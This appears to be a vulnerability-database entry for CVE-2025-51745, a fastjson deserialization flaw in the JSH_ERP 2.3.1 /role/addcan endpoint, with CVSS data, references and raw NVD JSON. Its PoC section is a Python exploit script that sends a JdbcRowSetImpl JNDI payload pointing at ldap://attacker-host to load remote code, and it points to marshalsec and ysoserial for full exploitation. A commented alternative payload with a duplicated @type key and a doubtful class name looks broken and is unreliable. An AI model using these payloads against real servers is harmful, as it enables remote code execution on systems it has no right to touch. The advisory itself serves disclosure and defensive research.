CVE-2025-51745

Description

An issue was discovered in jishenghua JSH_ERP 2.3.1. The /role/addcan endpoint is vulnerable to fastjson deserialization attacks.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:jishenghua:jsherp:*:*:*:*:*:*:*:* - VULNERABLE

jishenghua JSH_ERP 2.3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json

# CVE-2025-51745 PoC - Fastjson Deserialization RCE in JSH_ERP
# Target: /role/addcan endpoint

target_url = "http://target-host/JSH_ERP/role/addcan"

# Malicious payload for fastjson deserialization
# Using JdbcRowSetImpl for JNDI injection
payload_template = {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://attacker-host/Exploit",
    "autoCommit": True
}

headers = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0"
}

try:
    response = requests.post(target_url, json=payload_template, headers=headers, timeout=10)
    print(f"Status Code: {response.status_code}")
    print(f"Response: {response.text}")
except requests.exceptions.RequestException as e:
    print(f"Request failed: {e}")

# Alternative payload using com.rometools.rome.feed.impl.ClosurePoJOM for command execution:
# {"@type":"com.rometools.rome.feed.impl.ClosurePoJOM","@type":"java.lang.ProcessBuilder","cmd":["calc.exe"]}
# For actual exploitation, use tools like marshalsec for LDAP server and ysoserial for generating payloads

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-51745
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-51745
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-51745/
[4] VulDB https://vuldb.com/cve/CVE-2025-51745
[5] https://blog.hackpax.top/jsh-erp4/
[6] https://gist.github.com/Paxsizy/cd1557aeba8093a8650601c4dbffb6f9
[7] https://gitee.com/jishenghua
[8] https://gitee.com/jishenghua/JSH_ERP

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-51745", "sourceIdentifier": "[email protected]", "published": "2025-11-25T21:15:56.123", "lastModified": "2025-12-02T14:56:09.757", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in jishenghua JSH_ERP 2.3.1. The /role/addcan endpoint is vulnerable to fastjson deserialization attacks."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jishenghua:jsherp:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.3.1", "matchCriteriaId": "425A1CE4-66CE-4BC9-8CB9-58DCE58F1E0F"}]}]}], "references": [{"url": "https://blog.hackpax.top/jsh-erp4/", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://gist.github.com/Paxsizy/cd1557aeba8093a8650601c4dbffb6f9", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gitee.com/jishenghua", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gitee.com/jishenghua/JSH_ERP", "source": "[email protected]", "tags": ["Product"]}]}}